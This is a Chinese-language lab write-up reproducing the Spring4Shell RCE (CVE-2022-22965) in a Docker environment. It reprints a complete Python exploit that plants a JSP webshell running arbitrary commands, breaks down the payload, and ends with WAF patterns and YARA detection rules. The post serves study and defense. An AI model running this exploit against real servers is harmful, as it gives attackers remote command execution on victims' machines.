[漏洞分析] 002 復現 Spring4Shell: Spring Core RCE JDK 9+ CVE-2022-22965

本文介紹 Spring Core RCE CVE-2022-22965 的漏洞介紹與環境架設,包含臨時修復方式。

資安名詞

0-day / Zeroday

漏洞,但該漏洞官方尚未提供更新或修補程式。

0-day Attack

利用上述的漏洞進行攻擊。

RCE

遠端執行受害者電腦的指令。

SpringShell 漏洞介紹

JAVA

一種程式語言。

JDK

JAVA 開發套件包含 Java 執行階段環境、Java 編譯器和Java API。

JAVA Spring Core

Spring 為 JAVA 中開發網站的輕量級框架,該框架讓開發者可簡化開發週期。

漏洞成因

透過框架內的「參數綁定功能」取得 AccessLogValve 的物件,加上惡意字串,觸發 pipeline 機制,可寫入任意路徑的檔案。

漏洞條件

  • 使用JDK9及以上版本的 Spring MVC框架
  • Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在 CachedIntrospectionResults.class

漏洞環境架設

  1. 使用 docker 拉取 image
  2. docker pull vulfocus/spring-core-rce-2022-03-29:latest

    docker

  3. 執行 docker run ,漏洞環境執行成功會顯示 OK
  4. docker run -p 8066:8080 vulfocus/spring-core-rce-2022-03-29:latest

    docker

  5. 執行攻擊腳本,腳本來源: dinosn/spring-core-rce
  6. #coding:utf-8
    
    import requests
    import argparse
    from urllib.parse import urljoin
    
    def Exploit(url):
        headers = {"suffix":"%>//",
                    "c1":"Runtime",
                    "c2":"<%",
                    "DNT":"1",
                    "Content-Type":"application/x-www-form-urlencoded"
    
        }
        data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
        try:
    
            go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
            shellurl = urljoin(url, 'tomcatwar.jsp')
            shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
            if shellgo.status_code == 200:
                print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
        except Exception as e:
            print(e)
            pass
    
    def main():
        parser = argparse.ArgumentParser(description='Srping-Core Rce.')
        parser.add_argument('--file',help='url file',required=False)
        parser.add_argument('--url',help='target url',required=False)
        args = parser.parse_args()
        if args.url:
            Exploit(args.url)
        if args.file:
            with open (args.file) as f:
                for i in f.readlines():
                    i = i.strip()
                    Exploit(i)
    
    if __name__ == '__main__':
        main()
    

    以下截圖為攻擊成功,並顯示 webshell 的位置
    SpringShell

  7. 驗證 webshell
  8. SpringShell

  9. Log,執行攻擊封包之後,會出現 Initializing Servlet 'dispatcherServlet'

攻擊封包解析

  1. class.module.classLoader.resources.context.parent.pipeline.first.pattern=
    • %{c2}i if(j.equals(request.getParameter(pwd))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
    • webshell
  2. class.module.classLoader.resources.context.parent.pipeline.first.suffix=
    • .jsp
    • webshell 副檔名
  3. class.module.classLoader.resources.context.parent.pipeline.first.directory=
    • webapps/ROOT
    • 根目錄
  4. class.module.classLoader.resources.context.parent.pipeline.first.prefix=
    • tomcatwar
    • 檔案名稱
  5. class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

以下截圖為 攻擊後會在根目錄新增一個 webshell

攻擊後會在根目錄新增一個 webshell

漏洞環境解析

  • SpringCoreRceApplication.java
package com.baimaohui.spring.core.rce;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.boot.SpringApplication;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
@RestController
public class SpringCoreRceApplication
{
    public static void main(final String[] args) {
        SpringApplication.run((Class)SpringCoreRceApplication.class, args);
    }

    @RequestMapping({ "", "/" })
    public String test(final User user) {
        return "ok";
    }
}
  • ServletInitializer.java
package com.baimaohui.spring.core.rce;

import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

public class ServletInitializer extends SpringBootServletInitializer
{
    protected SpringApplicationBuilder configure(final SpringApplicationBuilder application) {
        return application.sources(new Class[] { SpringCoreRceApplication.class });
    }
}
  • User.java
package com.baimaohui.spring.core.rce;

class User
{
    private String username;

    public String getUsername() {
        return this.username;
    }

    public void setUsername(final String username) {
        this.username = username;
    }
}

臨時防禦方式

  1. 先確認版本 java -version
  2. 上 WAF 擋掉特殊字串
    • class.*,Class.*,*.class.*,*.Class.*

Yara Rule

/* Old webshell rule from THOR&#039;s signature set - donation to the community */ 
rule WEBSHELL_JSP_Nov21_1 {
   meta:
      description = "Detects JSP webshells"
      author = "Florian Roth"
      reference = "https://www.ic3.gov/Media/News/2021/211117-2.pdf"
      date = "2021-11-23"
      score = 70
   strings:
      $x1 = "request.getParameter(\"pwd\")" ascii
      $x2 = "excuteCmd(request.getParameter(" ascii
      $x3 = "getRuntime().exec (request.getParameter(" ascii
      $x4 = "private static final String PW = \"whoami\"" ascii
   condition:
      filesize < 400KB and 1 of them
}

rule EXPL_POC_SpringCore_0day_Indicators_Mar22_1 {
   meta:
      description = "Detects indicators found after SpringCore exploitation attempts and in the POC script"
      author = "Florian Roth"
      reference = "https://twitter.com/vxunderground/status/1509170582469943303"
      date = "2022-03-30"
      score = 70
   strings:
      $x1 = "java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di"
      $x2 = "?pwd=j&cmd=whoami"
      $x3 = ".getParameter(%22pwd%22)"
      $x4 = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7B"
   condition:
      1 of them
}

rule EXPL_POC_SpringCore_0day_Webshell_Mar22_1 {
   meta:
      description = "Detects webshell found after SpringCore exploitation attempts POC script"
      author = "Florian Roth"
      reference = "https://twitter.com/vxunderground/status/1509170582469943303"
      date = "2022-03-30"
      score = 70
   strings:
      $x1 = ".getInputStream(); int a = -1; byte[] b = new byte[2048];"
      $x2 = "if(\"j\".equals(request.getParameter(\"pwd\")"
      $x3 = ".getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
   condition:
     filesize < 200KB and 1 of them
}

參考資料

飛飛
飛飛